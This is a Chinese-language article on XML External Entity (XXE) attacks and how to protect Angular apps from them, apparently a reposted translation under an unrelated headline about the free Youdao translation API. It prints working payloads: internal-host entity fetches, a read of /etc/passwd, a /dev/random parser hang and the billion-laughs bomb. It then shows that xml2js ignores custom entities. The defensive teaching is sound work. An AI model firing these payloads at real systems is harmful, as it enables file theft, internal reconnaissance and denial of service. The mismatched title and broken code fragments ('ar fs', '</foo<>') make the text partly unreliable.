
如何免費調用有道翻譯API實現多語言翻譯
注入攻擊通過向代碼提供無效數據來利用代碼。當目標處理數據時,它會改變其行為方式,通常是為攻擊者檢索數據或導致應用程序失敗。
目標應用程序需要滿足兩個條件才能成功進行注入攻擊:
XXE 攻擊是利用危險的 XML 文檔進行的注入攻擊。
XML 是一種強大的語言,很容易編寫文檔來竊取信息或禁用目標。
您可以使用實體構建 XML 文檔。每個實體都包含或指向數據。?
內部實體保存其數據,而外部實體則指可能位于另一個系統或文檔其他地方的數據。危險就來自這些外部實體。讓我們看幾個例子。
這是在外部實體中使用URI的文檔。URI 是 HTML 鏈接中 URL 的超集。?
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
此文檔定義了一個名為 xxe的實體,該實體指向http://www.example.com/login 的內容。 因此,當 XML 解析器看到對該實體的引用(例如<bar>標記之間的引用)時,它會檢索該 URL 并插入該頁面的內容。
以下是定義基于文本的自定義實體的文檔的示例:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
]>
<lolz>&lol1;</lolz>
lol1實體包含 10 次字符串 lol 。因此,解析器將lol1替換為 10 個lols。
讓我們看看攻擊者如何使用這些工具。
現在,我們來看一些 XXE 攻擊的例子。
上面我們演示了一個指向互聯網網頁的外部實體。但是,它們使用 URI,它可以指向幾乎任何網絡資源,包括私有網絡內的主機。
例如:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://10.1.1.1/login" >
]>
<foo>
<bar>&xxe;</bar>
</foo<>
如果10.1.1.1存在,正在運行 Web 服務器,并且有一個名為login 的頁面,則 XML 解析器將檢索該頁面并將內容放入 XML 文檔中。如果其中一個或多個內容為假,則生成的文檔可能包含可能有用的錯誤。即使這次攻擊失敗,黑客也可以從中了解到很多信息。他們將了解 IP 地址是否有效、是否正在運行 Web 服務器以及服務器是否有登錄頁面。例如,404 錯誤頁面會告訴攻擊者很多有關目標內部網絡的信息。
URI 也可以指向文件。我們只需稍作調整,就可以使用同一文檔從運行目標應用程序的服務器中獲取用戶列表。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://etc/passwd" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
此攻擊不會插入網頁內容,而是將/etc/passwd的內容插入到結果文檔中。此攻擊適用于受攻擊應用程序有權訪問的任何文件。
Linux 有特殊文件作為設備和設備驅動程序的接口。如果您將 XML 文檔指向正確的文件,則可以禁用應用程序。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://dev/random" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
/dev/random文件會根據系統噪聲生成隨機數,但只有在有噪聲可用時才會生成隨機數。因此,當應用程序讀取此文件時,調用可能會被阻止:它不會返回數據,直到系統可以生成隨機數。這會使 XML 解析器掛起,直到發生某些事情。發送幾百個這樣的惡意 XML 文件,您就可以讓服務器癱瘓。?
我們再來看一下第一個例子。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>
這會插入來自外部網站的登錄頁面。如果攻擊者控制該網站,他們就可以使用它來獲取用戶名和密碼。這是使用 XXE 攻擊注入惡意數據的一個例子。黑客可以從互聯網上的任何地方將數據注入易受攻擊的系統。
我們在上面查看了使用實體定義文本節點的示例。該文檔是十億笑聲攻擊的一部分。
以下是完整文檔:
<?xml version="1.0"?>
<!DOCTYPE lolz \[
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
\]>
<lolz>&lol9;</lolz>
如果解析器將每個lol1替換 為 10 個lol,將每個 lol2替換為 10 個lol1,等等,直到lol9表示 10 個 lol8,那么這個文檔將擴展到十億個笑聲。這個名字并不夸張!
許多人將注入攻擊與服務器端應用程序聯系在一起,正確的攻擊可能會危及數據或使 Web 應用程序脫機。但客戶端應用程序也容易受到這些攻擊,其中諸如服務器被入侵、中間人攻擊或惡意重定向之類的危害可能會導致惡意數據。那么,讓我們看看如何保護 Angular 應用程序免受 XXE 攻擊。?
我們無法始終保護我們的應用程序免受不可信數據的侵害。但我們可以確保我們的代碼不會以危險的方式處理數據。Angular 不附帶 XML 解析器;您可以加載任何 javascript 解析器并使用它來處理 Angular 應用程序中的文檔。
好消息是,如果您使用xml2js或sax-js,您就不會受到 XXE 攻擊。
它們都默認忽略自定義實體或不擴展就直接傳遞。Sax-js會忽略它們,而 xml2js 會使用 sax-js 來處理文檔。如果您確實想處理某些自定義實體,也可以安裝自己的事件處理程序。
讓我們看一個簡單的例子來了解 xml2js 如何保護我們。將試圖注入登錄頁面的文檔放在名為foo.xml 的文件中。
運行此代碼:
ar fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser();
fs.readFile('./foo.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
輸出如下:
undefined
Done
解析器忽略了自定義實體并將文檔視為不包含任何數據。
現在,對代碼進行一點小改動。將strict選項添加到解析器構造函數中,并將其設置為 false。
再次運行代碼。
var fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser({strict: false});
fs.readFile('./bar.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});
現在解析器處理自定義實體但不擴展它們。
{ FOO: { BAR: [ '&xxe;' ] } }
Done
您也可以將其他示例放入文件中并進行測試。堅持使用這些解析器并保持依賴項最新!
Angular XML 外部攻擊是嚴重的威脅,可能會危害您的應用程序并泄露客戶數據。但是,堅持使用正確的 XML 解析器,您就會安全。
文章來源:Angular XML External Entities (XXE) Guide: Examples and Prevention